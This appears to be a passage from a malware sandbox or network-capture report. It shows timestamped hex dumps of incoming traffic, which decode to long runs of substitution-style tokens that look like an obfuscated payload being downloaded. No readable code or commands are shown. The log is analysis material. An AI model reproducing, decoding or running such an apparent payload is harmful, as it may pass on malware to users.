OOx O
2021-10-29 15:55:36 UTC	1646	IN	Data Raw: 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 78 20 6f 59 20 4b 78 20 6f 6f 51 20 4f 78 51 20 4f 4f 59 20 59 78 20 4b 6b 20 59 78 20 59 78 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 4b 52 20 4f 4b 45 20 59 78 20 4b 6b 20 4f 45 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 4f 6f 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 Data Ascii: x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x oY Kx ooQ OxQ OOY Yx Kk Yx Yx kK OOK OOt OKR OKE Yx Kk OEk YK kK OOK OOt OxQ OOo Yx OOo Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx
2021-10-29 15:55:36 UTC	1648	IN	Data Raw: 51 20 4f 4f 6f 20 59 78 20 4f 45 6f 20 4f 6b 45 20 59 59 20 6b 4b 20 4f 4f 4b 20 6b 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4f 6b 4b 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 6b 20 59 4b 20 6b 4b 20 4f 6b 20 51 4f 20 45 4f 20 45 20 52 4b 20 6b 45 20 59 78 20 59 4b 20 6b 4b 20 4f 74 6b 20 4f 4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 78 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4f 51 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 59 45 20 4f 78 51 20 4f 4f 6f 20 4f 4f 4b Data Ascii: Q OOo Yx OEo OkE YY kK OOK kY OxQ OOo Yx OkK YO YK kK OOk OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Ok YK kK Ok QO EO E RK kE Yx YK kK Otk OOk OxQ OOo Yx oKx YO YK kK OOk OOt OxQ OOo OQx KQ Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK YE OxQ OOo OOK
2021-10-29 15:55:36 UTC	1649	IN	Data Raw: 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 Data Ascii: Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Y
2021-10-29 15:55:36 UTC	1650	IN	Data Raw: 59 52 20 45 51 20 45 74 20 4b 74 20 6f 4f 74 20 4b 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 6f 45 20 45 6b 20 52 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 59 20 45 4f 20 4b 4f 20 59 78 20 4b 6b 20 52 52 20 74 6f 20 74 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4b 59 20 4b 6b 20 59 78 20 52 78 20 6f 4b 52 20 6b 74 20 51 6b 20 45 4f 20 4f 20 59 78 20 4b 6b 20 52 52 20 52 6b 20 6f 59 4f 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 4f 4b 20 4b 4b 20 4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 4f 78 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 4b 4b 20 6f 4f 20 4b 6f 20 52 6b 20 4f 4b 74 20 4f 4f 4b 20 4f 4f 74 20 6f 51 20 6f 20 59 45 20 4b 51 20 59 78 20 74 78 20 4b 6f 20 4f 78 6b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 4b 74 20 59 78 20 59 4b 20 51 4b 20 6f 78 Data Ascii: YR EQ Et Kt oOt Ko OOt OxQ OOE oE Ek RK YY kK OOK Y EO KO Yx Kk RR to tK OOK OOt OxE kk KY Kk Yx Rx oKR kt Qk EO O Yx Kk RR Rk oYO OOK OOt oQ OK KK Kk Yx Rx OoK OxQ OOt OxQ Ooo OKK oO Ko Rk OKt OOK OOt oQ o YE KQ Yx tx Ko Oxk OOt OxQ Ooo oR Kt Yx YK QK ox
2021-10-29 15:55:36 UTC	1652	IN	Data Raw: 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 59 20 6b 51 20 4f 4f 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 74 20 59 59 20 45 45 20 59 4b 20 6f 78 78 20 6b 6f 20 4f 52 4b 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 52 59 20 45 78 20 59 78 20 59 4b 20 51 4b 20 4f 6f 20 4f 45 51 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4f 20 45 4f 20 45 45 20 4f 4f 4b 20 4f 6f 20 4f 4b 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 78 52 20 59 6f 20 6f 45 59 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 45 78 20 51 59 20 59 78 20 4b 6b 20 59 52 20 4f 51 20 6f 4f 6f 20 4f 4b 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 59 4f 20 59 78 20 59 4b 20 4f 6f 74 20 6f 51 20 51 59 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 45 45 20 59 59 20 45 51 20 6b 78 20 4f 4b 78 20 4f 4f Data Ascii: K OOK OOE RQ OOK Yx Kk oY kQ OOo OOY OOt Oxt Qt YY EE YK oxx ko ORK OOR OxQ OOk RY Ex Yx YK QK Oo OEQ OxQ OOo YK oO EO EE OOK Oo OKo OxQ OOo YK oxR Yo oEY kY OOK OOY Ex QY Yx Kk YR OQ oOo OKx OOt OxQ OOR oR YO Yx YK Oot oQ QY Oxk OOo Yo EE YY EQ kx OKx OO
2021-10-29 15:55:36 UTC	1653	IN	Data Raw: 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 51 78 20 74 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 51 20 59 45 20 45 78 20 4f 4f 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 45 20 59 45 20 59 4b 20 52 45 20 6f 45 59 20 4f 6f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 59 52 20 59 78 20 59 4b 20 6b 6f 20 4f 6f 52 20 4f 4f 4b 20 45 78 20 6f 4f 51 20 59 78 20 4b 6b 20 59 6f 20 45 74 20 6b 78 20 51 51 20 4f 4f 45 20 4f 4f 45 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 6f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 45 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 74 59 20 4f 78 6f 20 45 45 20 59 45 20 4f 78 20 6f 45 Data Ascii: RY k Yx YK QK Qx tR OxQ OOo YR YQ YE Ex OOx OOK OOt OxE QE YE YK RE oEY Oot OOY OOt OxQ OOK oR YR Yx YK ko OoR OOK Ex oOQ Yx Kk Yo Et kx QQ OOE OOE oYE OxK Kk Yx YY OOE ORo ooo OxQ OOo YK oK Y YK kK Oox R kY OOo Yx Yk QE OEY kK OOK OOY tY Oxo EE YE Ox oE
2021-10-29 15:55:36 UTC	1654	IN	Data Raw: 59 6f 20 59 4b 20 6b 4b 20 4f 4f 4b 20 45 6b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 4f 78 59 20 59 4f 20 59 4b 20 6b 4b 20 4f 4f 45 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 52 4f 20 4b 6b 20 59 78 20 59 59 20 74 51 20 52 52 20 4f 4f 59 20 4f 78 51 20 59 6f 20 4b 6b 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 45 78 20 74 51 20 59 78 20 4b 6b 20 59 52 20 52 78 20 6b 52 20 4f 4f 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45 78 20 4f 4b 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 51 20 59 78 20 59 4b 20 51 4b 20 4f 6f 4f 20 4f 4f 4b 20 52 51 20 74 4b 20 59 78 20 4b 6b 20 59 52 20 6f 74 20 6b 45 20 4f 4f 52 20 4f 6f 78 Data Ascii: Yo YK kK OOK Ek Oxk OOo Yx OxY YO YK kK OOE OOt OxQ OOo RO Kk Yx YY tQ RR OOY OxQ Yo Kk Kk Yx YE kK OOK Oxx Ex tQ Yx Kk YR Rx kR OOO oKk YY OOo Yx KQ oE oEx OKx OOK OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ Ooo oR Q Yx YK QK OoO OOK RQ tK Yx Kk YR ot kE OOR Oox
2021-10-29 15:55:36 UTC	1656	IN	Data Raw: 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 6f 4f 4b 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4f 51 45 20 4f 4f 6f 20 59 78 20 59 4b 20 51 45 20 4f 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 20 74 6f 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 51 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 74 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 4f 59 Data Ascii: OOt Oxk kY ooR oOK Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox oR OQE OOo Yx YK QE OE kK OOK Oot o to YO Kk Yo EQ kE QQ OOE OoK OOt KY RE OQO Oxk kK OOK OOR to ORx OY
2021-10-29 15:55:36 UTC	1656	IN	Data Raw: 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 59 52 20 6f 52 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 6f 20 74 4b 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 45 20 51 74 20 4f 4f 59 20 4f 6f 4b 20 4f 4f 6b 20 51 45 20 59 20 59 4f 20 59 4b 20 6b 6f 20 4f 78 78 20 45 4f 20 52 52 20 51 78 20 45 59 20 59 4b 20 6f 52 20 4f 4f 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 52 20 4f 6f 78 20 45 6f 20 59 52 20 4b 59 20 59 6b 20 4f 6f 4b 20 4b 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 45 45 20 59 52 20 45 6f 20 52 6f 20 4f 6f 4b 20 59 4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 4f 51 20 4b 6b 20 4f 74 6b 20 4f 45 4f 20 4f 52 45 Data Ascii: Y Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ oOt OxQ OOo Yo YR oR Kk kK OOK OOY o tK YO Kk Yo EQ kE Qt OOY OoK OOk QE Y YO YK ko Oxx EO RR Qx EY YK oR OOR kK OOK Oot OoR Oox Eo YR KY Yk OoK KQ OOt OxQ Ooo EE YR Eo Ro OoK YK OOt OxQ Ooo OQ Kk Otk OEO ORE
2021-10-29 15:55:36 UTC	1657	IN	Data Raw: 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 4b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4f 20 4b 4f 20 52 51 20 4f 4f 74 20 4f 78 6b 20 6f 6f 4b 20 4b 6f 20 59 78 20 4b 6b 20 59 4f 20 4f 51 20 4f 45 6f 20 4f 4b 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 6f 52 20 74 20 59 78 20 59 4b 20 51 4b 20 4f 20 74 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20 4f 4f 4b 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 51 20 4f 78 45 20 51 74 20 59 45 20 59 52 20 6f 52 20 4b 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 59 20 4f 6f 52 20 4f 4f 51 20 52 59 20 4b 52 20 59 4f 20 59 4b 20 6b 6f 20 51 74 20 4f 6f 59 20 4f 6f 4b 20 4f 6f 78 20 45 59 20 59 6f 20 45 59 20 59 4f 20 74 6b 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f Data Ascii: OxQ OOo YR Rt Ox YK kK Oox oR KY OOo Yx Yk EO KO RQ OOt Oxk ooK Ko Yx Kk YO OQ OEo OKK OOt OxQ OOR oR t Yx YK QK O tt OxQ OOo YR QY OOK YK kK Oox kQ OxE Qt YE YR oR Kk kK OOK OOY OoR OOQ RY KR YO YK ko Qt OoY OoK Oox EY Yo EY YO tk oYY Kt OxQ OOo YO oO o
2021-10-29 15:55:36 UTC	1659	IN	Data Raw: 51 20 78 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 4f 78 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 45 59 20 59 45 20 52 51 20 4f 52 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 51 20 59 6b 20 45 45 20 59 6b 20 45 51 20 6b 78 20 51 51 20 4f 4f 6f 20 4f 4f 4b 20 4f 6f 4b 20 4f 51 4f 20 4f 78 52 20 59 78 20 59 4b 20 6b 59 20 6b 74 20 4f 52 59 20 6f 78 45 20 4f 4f 6f 20 59 78 20 59 6f 20 6f 52 20 4f 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 6b 51 20 6f 4b 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 45 4f 20 51 20 4b 6b 20 59 78 20 52 78 20 59 51 20 74 51 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 45 59 20 59 52 20 45 59 20 59 78 20 52 51 20 4f 4f 51 20 4f 78 52 20 4f 4f 74 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 Data Ascii: Q x tR KR Yx YK QK oQ OxR OxQ OOo YR EY YE RQ OR OOY OOt Oxt QQ Yk EE Yk EQ kx QQ OOo OOK OoK OQO OxR Yx YK kY kt ORY oxE OOo Yx Yo oR O kK OOK Oot Ex to Yx Kk YR kQ oKk OOK OOt Oxt EO Q Kk Yx Rx YQ tQ OOR OxQ OOk EY YR EY Yx RQ OOQ OxR OOt oYE OxK Kk Yx
2021-10-29 15:55:36 UTC	1660	IN	Data Raw: 20 4b 6b 20 59 6f 20 6f 6b 20 6b 59 20 51 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 4b 20 59 78 20 45 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 6b 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 45 45 20 52 20 6b 52 20 4f 4f 4b 20 6b 6f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 59 20 59 78 20 59 4b 20 52 51 20 4f 78 4f 20 4f 6f 74 20 4f 4f 4f 20 45 4f 20 4f 6f 52 20 4b 6b 20 59 78 20 52 78 20 51 59 20 6b 51 20 4f 78 78 20 4f 4f 4f 20 45 4f 20 4f 6f 52 20 4b 6b 20 59 78 20 52 78 20 51 59 20 4f 4f 52 20 51 6b 20 59 45 20 4f 6f 6f 20 59 6f 20 4b 78 20 45 20 59 6f 20 6b 45 20 6b 6b 20 4f 4f 6b 20 4f 78 52 20 45 4f 20 4f 6f 74 20 4b 6b 20 59 78 20 52 78 20 4f 6f 78 20 4f 4b 6b 20 4f 4f 4b 20 74 4f 20 4f 4f 6f 20 4b 4f 20 78 20 59 59 20 59 4b 20 4f 6f 4f 20 4f 4f 59 Data Ascii: Kk Yo ok kY Qk OOt OxQ OOo Yx YK Yx E OOO OOK OOk Qk OOo Yx KQ EE R kR OOK ko OxQ OOo Yx YY Yx YK RQ OxO Oot OOO EO OoR Kk Yx Rx QY kQ Oxx OOO EO OoR Kk Yx Rx QY OOR Qk YE Ooo Yo Kx E Yo kE kk OOk OxR EO Oot Kk Yx Rx Oox OKk OOK tO OOo KO x YY YK OoO OOY
2021-10-29 15:55:36 UTC	1661	IN	Data Raw: 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 4f 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 4b 20 59 4f 20 59 4b 20 6b 4b 20 51 78 20 4f 4f 52 20 4f 78 51 20 4f 4f 6f 20 4b 51 20 4b 6b 20 59 78 20 59 4b 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 78 74 20 6f 20 59 4f 20 59 78 20 74 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 78 20 4f 4f 6f 20 59 78 20 45 45 20 52 59 20 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 4f 4f 4f 20 4b 59 20 4f 6b 51 20 4f 78 4b 20 59 4b 20 6b 4b 20 4f 4f 59 20 6b 78 20 4f 6b 51 20 6f 6f 78 20 59 78 20 4b 6b 20 59 4b 20 45 78 20 51 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 20 4f 78 20 4b 6b 20 59 78 20 52 78 20 74 59 20 Data Ascii: Kk Yx YE kK OOK OOt Qk OOo Yx KQ Yx YK kK OOK OoO OxQ OOo Yx KK YO YK kK Qx OOR OxQ OOo KQ Kk Yx YK QK OOK OOt Oxk Oxt o YO Yx tY kK OOK OOt Oxx OOo Yx EE RY x kK OOK Oot OxE OOO KY OkQ OxK YK kK OOY kx OkQ oox Yx Kk YK Ex QQ OOK OOt OxE E Ox Kk Yx Rx tY
2021-10-29 15:55:36 UTC	1663	IN	Data Raw: 4f 78 6f 20 74 6f 20 4f 4b 59 20 4b 6b 20 59 78 20 59 4b 20 6b 45 20 6f 51 20 4f 6f 6f 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 6b 20 45 74 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 6f 4f 20 4f 78 4f 20 45 4f 20 4f 4f 78 20 4b 6b 20 59 78 20 52 78 20 45 6b 20 6f 4b 74 20 4f 4f 51 20 4f 78 51 20 78 20 6f 52 20 4f 78 51 20 59 78 20 59 4b 20 51 4b 20 51 4b 20 4f 6f 4f 20 4f 78 74 20 4f 6f 78 20 51 45 20 4f 4f 78 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 59 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 52 20 51 45 20 4f 78 52 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 45 4f 20 6f 59 59 20 4b 6b 20 4b 6b 20 52 52 20 45 78 20 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 6f 20 4b 52 20 59 4b 20 59 6f 20 6b 51 20 4f 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 6f 20 4f 74 4f 20 59 78 20 Data Ascii: Oxo to OKY Kk Yx YK kE oQ Ooo OxQ OOo YR Rk Et YK kK OOY OoO OxO EO OOx Kk Yx Rx Ek oKt OOQ OxQ x oR OxQ Yx YK QK QK OoO Oxt Oox QE OOx Yx YK QK oQ YO Oxk OOo Yo YR QE OxR kK OOK Oot EO oYY Kk Kk RR Ex Q OOK OOt OxE Qo KR YK Yo kQ Ot OOY OOt Oxt o OtO Yx
2021-10-29 15:55:36 UTC	1664	IN	Data Raw: 59 78 20 52 78 20 51 59 20 74 4b 20 52 4b 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 59 59 20 51 45 20 4b 45 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 51 74 20 4f 6f 78 20 4b 6f 20 45 51 20 45 74 20 4f 6b 74 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 45 52 20 4b 74 20 4b 6f 20 4f 6b 74 20 4f 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 59 20 6f 6f 52 20 6f 4b 4b 20 59 78 20 59 4b 20 6b 78 20 51 78 20 52 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 74 20 4f 78 20 59 4b 20 6b 4b 20 4f 6f 78 20 74 20 6f 6f 78 20 4f 4f 4b 20 59 78 20 52 4b 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 4f 4f 4f 20 59 78 20 4b 6b 20 59 52 20 4f 4b 6b 20 4f 6f 4b 20 4f 59 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 51 45 20 4f 52 20 59 78 20 59 4b 20 51 4b 20 4f 6f Data Ascii: Yx Rx QY tK RK Oxk OOo Yx YY QE KE kK OOK Oot Qt Oox Ko EQ Et Okt Oo OOK OOt Oxk kY ER Kt Ko Okt OK OOK OOt Oxk kY ooR oKK Yx YK kx Qx RR OxQ OOo YR Rt Ox YK kK Oox t oox OOK Yx RK tR Kx kK OOK Oot RQ OOO Yx Kk YR OKk OoK OYK OOt OxQ OOk QE OR Yx YK QK Oo
2021-10-29 15:55:36 UTC	1665	IN	Data Raw: 4f 4f 74 20 4b 6f 20 4f 4f 45 20 59 78 20 4b 6b 20 74 4b 20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b 6b 20 59 78 20 59 4b 20 4b 6f 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 6f 4b 4b 20 59 4f 20 4b 6b 20 59 78 20 59 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 4f 20 52 20 6b 6f 20 4f 4f 4b 20 4f 52 59 20 4f 78 6b 20 4f 4f 6f 20 59 78 20 52 4f 20 59 78 20 59 4b 20 52 51 20 4f 20 74 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 59 6b 20 4b 6b 20 4b 4f 20 51 78 20 6f 59 59 20 4b 74 20 4f 78 51 20 4f 4f 6f 20 59 4f 20 6f 4f 20 6f 6f 52 20 4f 4b 45 20 6b 4b 20 4f 4f 4b 20 4f 4f 45 20 52 51 20 74 4f 20 59 78 Data Ascii: OOt Ko OOE Yx Kk tK YY kK OOK Oot OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yo Kk Yx YK Ko OOY OOt OxQ oKK YO Kk Yx YE kK OOK OOt Qk OOo Yx KQ KO R ko OOK ORY Oxk OOo Yx RO Yx YK RQ O tK OxQ OOo YR Yk Kk KO Qx oYY Kt OxQ OOo YO oO ooR OKE kK OOK OOE RQ tO Yx
2021-10-29 15:55:36 UTC	1667	IN	Data Raw: 51 20 74 4f 20 59 78 20 4b 6b 20 59 52 20 52 51 20 4f 78 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 45 4f 20 4f 59 6b 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 74 45 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6b 20 59 4f 20 59 4b 20 6b 6f 20 51 51 20 4f 4f 59 20 4f 78 4f 20 51 74 20 59 4b 20 4b 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20 74 6f 20 4f 52 78 20 4f 45 4b 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 20 6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 59 20 6b 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 78 78 20 4f 78 74 20 51 51 20 59 59 20 6f 45 6b 20 4b 51 20 4f 52 20 4f 45 6b 20 4f 4f 4b 20 4f 78 78 20 4f 78 4b 20 51 6f 20 59 6b 20 59 4b 20 Data Ascii: Q tO Yx Kk YR RQ Oxk OOK OOt OxE EO OYk Kk Yx Kk YQ tE OOt OxQ Ooo QE k YO YK ko QQ OOY OxO Qt YK KE OQO Oxk kK OOK OOR to ORx OEK Kk Yx Yx OoK RQ OOt OxQ Ooo RY k Yx YK QK oQ oOt OxQ OOo Yo QY k YY kK OOR Oxx Oxt QQ YY oEk KQ OR OEk OOK Oxx OxK Qo Yk YK
2021-10-29 15:55:36 UTC	1668	IN	Data Raw: 4b 20 4f 6f 74 20 45 78 20 74 6f 20 59 78 20 4b 6b 20 59 52 20 45 78 20 51 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 6f 20 59 6f 20 59 59 20 45 74 20 4f 74 6f 20 51 4b 20 6b 51 20 4f 4f 45 20 4f 78 52 20 4f 78 6f 20 4f 52 6b 20 59 6b 20 6f 45 52 20 59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 74 20 51 78 20 59 78 20 4b 51 20 45 4b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 4f 4f 6f 20 51 78 20 51 4b 20 59 78 20 59 45 20 51 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 6b 20 4f 78 74 20 6f 20 59 6f 20 59 78 20 6f 78 45 20 6b 59 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 45 45 20 52 59 20 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 6f 20 4f 4b 45 20 59 78 20 59 78 20 74 78 20 45 6b 20 6b 74 20 4f 4f 6b 20 4f 78 51 20 78 20 74 Data Ascii: K Oot Ex to Yx Kk YR Ex Q OOK OOt OxE Qo Yo YY Et Oto QK kQ OOE OxR Oxo ORk Yk oER YE OOK Oto OOt Oxt Qx Yx KQ EK YK kK OOK OOt Oxt OOo Qx QK Yx YE QK OOK OOt Oxk Oxt o Yo Yx oxE kY OOK OOt Qk 